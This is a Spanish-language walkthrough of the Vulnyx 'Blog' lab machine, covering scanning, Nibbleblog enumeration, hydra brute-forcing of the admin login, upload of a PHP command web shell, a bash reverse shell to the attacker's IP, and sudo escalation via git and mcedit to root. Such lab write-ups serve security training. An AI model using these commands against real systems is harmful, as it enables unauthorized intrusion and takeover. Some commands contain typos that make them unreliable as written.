Máquina: Blog
SO: Linux
Dificultad: Easy
Link OVA: Vulnyx


img

1. Vemos los dispositivos en nuestra red.

sudo arp-scan -I enp2s0 --localnet

img

2. Escaneamos puertos abiertos y versión de servicios que corren.

sudo nmap -p- -sS -T5 -sC -sV --min-rate=5000 --open -n -Pn 192.168.1.10 -oN report_scan

img

3. Ojeamos el servicio web de apache, vemos al parecer la salida de un comando.

htt://192.168.1.10/

img

4. Hacemos fuzzing de archivos y directorios.

gobuster dir -u http://192.168.1.10/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt

img

5. Vamos a la nueva ruta, tenemos una página.

http://192.168.1.10/my_weblog/

img

6. Presionamos ctrl+u para ver el código fuente, podemos ver que está a base de Nibbleblog.

img

7. Otra alternativa para ver la estructura de la web.

whatweb http://192.168.1.10/my:weblog/

img

8. Seguimos fuzzeando ahora en la ruta my_weblog.

gobuster dir -u http://192.168.1.10/my_weblog/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt

img

9. Accedemos a admin.php , tenemos un panel login.

http://192.168.1.10/my_weblog/admin.php

img

10. En nibbleblog tenemos una ruta de usuarios.

http://192.168.1.10/my_weblog/content/private/ users.xml

img

11. Presionamos f12, revisemos como se tramita el login.

img

img

12. Hacemos bruteforce al panel login teniendo el usuario.

hydra -t 64 -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "/my_weblog /admin.php: username=^USER^&password=^PASS^:Incorrect" -F -I

img

13. Creamos un archivo para subirlo y ejecutar comandos en la url.

nano shell.php

<?php system($_GET["cmd"]);?>

img

- Subimos el archivo.

img

14. Si buscamos un exploit para nibbleblog encontramos la ruta donde indica como encontrar nuestro archivo.

img

15. Nos ponemos en escucha.

img

16. Enviamos la reverse_shell al nc.

http://192.168.1.10/my_weblog/content/ private/plugins/ my_image/image.php?cmd= bash -c "bash -i>%26/dev/tcp/192.168.1.9/443 0>%261"

- Aquí obtenemos la sessión.

img

- Obtenemos la conexión.

img

17. Hacemos tratamiento de la tty.

script /dev/null -c bash

ctrl+z

stty raw -echo; fg

reset xterm

export SHELL=/bin/bash

export TERM=xterm

img

img

18. Revisamos permisos sudo, podemos ejecutar git como admin.

img

19. Ganamos acceso como usuario admin.

- Buscamos en GTFobins como escalar:

sudo -u admin git -p help config

!/bin/bash

img

20. Volvemos a revisar permisos sudo, podemos ejecutar un binario como root.

sudo -l

img

21. Ganamos acceso como usuario root y leemos la flag.

sudo -u root mcedit

F9 -> enter

F11 -> enterF9 -> U -> enter (alternativo)

s -> enter

img

img

img


Finalizado.